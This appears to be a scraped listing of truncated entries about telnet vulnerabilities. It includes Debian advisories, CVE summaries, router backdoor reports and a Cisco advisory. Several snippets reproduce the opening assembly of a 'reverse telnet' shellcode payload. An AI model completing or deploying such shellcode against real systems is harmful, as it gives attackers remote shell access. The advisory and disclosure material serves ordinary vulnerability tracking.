Debian DSA-529-1 : netkit-telnet-ssl - format string

'b0f' discovered a format string vulnerability in netkit-telnet-ssl which could potentially allow a remote attacker to cause the execution of arbitrary code with the privileges of the telnet daemon the 'telnetd' user by default. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive...

Debian DSA-075-1 : netkit-telnet-ssl - remote exploit

The telnet daemon contained in the netkit-telnet-ssl0.16.3-1 package in the 'stable' potato distribution of Debian GNU/Linux is vulnerable to an exploitable overflow in its output handling. The original bug was found by , and announced to bugtraq on Jul 18 2001. At that time, netkit-telnet versio...

Debian DSA-070-1 : netkit-telnet - remote exploit

The netkit-telnet daemon contained in the telnetd package version 0.16-4potato1, which is shipped with the 'stable' 2.2, potato distribution of Debian GNU/Linux, is vulnerable to an exploitable overflow in its output handling. The original bug was found by , and announced to bugtraq on Jul 18 200...

linux/x86 Reverse telnet 134 bytes

linux/x86 Reverse telnet 134 bytes. Shellcode exploit for linx86 platform / Reverse Telnet Shellcode by hts / / jmp 0x31 popl %esi movl %esi,0x4f%esi leal 0x8%esi,%ebx movl %ebx,0x53%esi leal 0xb%esi,%ebx movl %ebx,0x57%esi xorl %eax,%eax movb %eax,0x7%esi movb %eax,0xa%esi movb %eax,0x4e%esi mov...

linux/x86 Reverse telnet 134 bytes

Exploit for linux/x86 platform in category shellcode ================================== linux/x86 Reverse telnet 134 bytes ================================== / Reverse Telnet Shellcode by hts / / jmp 0x31 popl %esi movl %esi,0x4f%esi leal 0x8%esi,%ebx movl %ebx,0x53%esi leal 0xb%esi,%ebx movl...

Generic Shell Detectors (Checkpoint Telnet)

Binary data 2320.prm...

linux/x86 Reverse telnet 134 bytes

No description provided by source. / Reverse Telnet Shellcode by hts / / jmp 0x31 popl %esi movl %esi,0x4f%esi leal 0x8%esi,%ebx movl %ebx,0x53%esi leal 0xb%esi,%ebx movl %ebx,0x57%esi xorl %eax,%eax movb %eax,0x7%esi movb %eax,0xa%esi movb %eax,0x4e%esi movl %eax,0x5b%esi movb $0xb,%al movl...

Generic Shell Detectors (3COM SuperStack Telnet)

Binary data 2322.prm...

Generic Shell Detectors (Windows 2000 Telnet)

Binary data 2321.prm...

[Full-Disclosure] Debian netkit telnetd vulnerability

Exposure: Remote root compromise through buffer handling flaws Confirmed vulnerable: Up-to-date Debian 3.0 woody issue is Debian-specific Debian netkit-telnet-ssl-0.17.24+0.1 package Debian netkit-telnet-ssl-0.17.17+0.1 package Mitigating factors: Telnet service must be running and accessible to...

Buffer overflow in multiple OS telnetd

It's possible to overflow buffer with AYT telnet protocol command...

Zyxel Prestige 681 SDSL router information leak

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello, Zyxel P681 with ZyNOS S/W Version: Vt020225a | 2/25/2002 installed leaks random portions of memory in ARP requests: 21:47:05.709295 arp who-has x.x.x.x tell x.x.x.x 0x0000 0001 0800 0604 0001 00a0 c526 3cc1 xxxx ................ 0x0010 xxxx 000...

dynalink.Backdoor.txt

I was playing with a Dynalink RTA 230 http://www.dynalink.co.nz/products/rta230.htm, a linux based mips-cored adsl router. Looking at embedded linux system, i've found something like a backdoor: cat /etc/passwd admin:xxxxxobscuredxxxxx:0:0:Administrator:/:/bin/sh...

Dynalink routers backdoor?

I was playing with a Dynalink RTA 230 http://www.dynalink.co.nz/products/rta230.htm, a linux based mips-cored adsl router. Looking at embedded linux system, i've found something like a backdoor: cat /etc/passwd admin:xxxxxobscuredxxxxx:0:0:Administrator:/:/bin/sh...

CVE-2002-1272

Alcatel OmniSwitch 7700/7800 with AOS 5.1.1 contains a backdoor Telnet server on TCP 6778 that was left in code from development, allowing remote privileged access. Affected devices can be compromised to gain full admin control. Remediation per CERT/vendor guidance: upgrade to AOS 5.1.1.R02 or 5....

CVE-2002-0630

The CVE-2002-0630 entry documents a vulnerability in the Telnet service of Polycom ViewStation, affected when running versions before 7.2.4. The issue allows remote attackers to cause a crash (denial of service) via long or malformed ICMP packets. No exploitation details or explicit remediation a...

CVE-2002-0630

The Telnet service for Polycom ViewStation before 7.2.4 allows remote attackers to cause a denial of service crash via long or malformed ICMP packets...

CVE-2002-1272

Alcatel OmniSwitch 7700/7800 switches running AOS 5.1.1 contains a back door telnet server that was intended for development but not removed before distribution, which allows remote attackers to gain administrative privileges...

Cisco IOS telnet DoS

Specially crafted telnet or reverse telnet connection causes all TCP based services to fail...

Cisco Security Advisory: Cisco Telnet Denial of Service Vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cisco Security Advisory: Cisco Telnet Denial of Service Vulnerability Revision 1.0 For Public Release 2004 August 27 1000 UTC - ------------------------------------------------------------------------- Contents Summary Affected Products Details Impact...